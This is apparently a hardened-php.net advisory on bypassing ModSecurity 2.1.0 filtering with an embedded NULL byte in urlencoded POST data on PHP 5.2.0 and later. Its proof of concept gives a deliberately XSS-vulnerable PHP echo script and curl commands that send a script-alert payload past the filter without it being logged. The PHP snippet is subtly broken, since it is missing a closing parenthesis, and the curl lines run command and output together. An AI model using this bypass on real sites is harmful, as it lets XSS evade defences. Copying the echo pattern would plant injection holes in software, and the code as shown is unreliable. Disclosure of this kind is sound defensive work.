|
The ModSecurity rules can only be bypassed in certain circumstances:
1) Parameters must be transported in an application/x-www-form-urlencoded request body.
2) An un-encoded NULL byte (ASCIIZ) must be embedded in the payload.
3) The parser used by the web application must do things differently.
PHP versions lower than 5.2.0 are supposedly not susceptible to the ModSecurity POST data NULL byte filter bypass, but PHP versions 5.2.0 and higher are.
------------------------
Proof of Concept
------------------------
Place the following PHP script into a webroot (make sure server is off-line) that is vulnerable to XSS (standard PHP 5.2.0 and ModSecurity 2.1.0 installation):
<?php
if (isset($_POST['var'])
echo($_POST['var']);
?>
Calling the script with the following command will result in the example not being blocked, however error.log will inform you that a possible XSS attack was detected:
$ echo -e "&var=<script>alert(/xss/);</script>" > postdata
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script>
However, using a NULL byte in the command will not log a possible XSS attack in error.log, since ModSecurity cannot see the var parameter behind the NULL byte:
$ echo -e "\000&var=<script>alert(/xss/);</script>" > postdata
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script>
|
hardened-php.net -
www.hardened-php.net
